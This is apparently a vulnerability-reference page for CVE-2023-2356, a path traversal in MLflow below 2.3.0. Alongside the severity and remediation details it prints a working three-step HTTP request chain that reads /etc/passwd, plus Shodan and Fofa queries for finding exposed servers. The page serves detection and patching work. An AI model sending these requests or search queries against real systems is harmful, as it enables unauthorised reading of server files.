🔙 목록으로 돌아가기

CVE-2023-2356: Mlflow <2.3.0 - Local File Inclusion

TitleMlflow <2.3.0 - Local File Inclusion
AuthorCo5mos
SeverityHigh
ImpactSuccessful exploitation could allow an attacker to read sensitive files on the server.
RemediationUpgrade Mlflow to version 2.3.0 or above to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.88125
CVE IDCVE-2023-2356
CWE IDCWE-23
Shodan Queryhttp.title:"mlflow"
Fofa Queryapp="MLflow"app="mlflow"title="mlflow"
Tags cve2023 cve lfi huntr mlflow oss intrusive lfprojects vuln

🔍 Vulnerability Description

Relative Path Traversal in GitHub repository mlflow/mlflow prior to 2.3.1.

🌐 HTTP Request

POST /api/2.0/mlflow/registered-models/create HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.8
Connection: close
Content-Length: 18
Content-Type: application/json
Accept-Encoding: gzip

{"name": "y09DTy"}
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/3.6.4
Connection: close
Content-Length: 75
Content-Type: application/json
Accept-Encoding: gzip

{"name": "y09DTy", "source": "file://www.victim.com/../../../../../../../"}
GET /model-versions/get-artifact?path=etc/passwd&name=y09DTy&version=2SglmA HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2356.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-2356.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A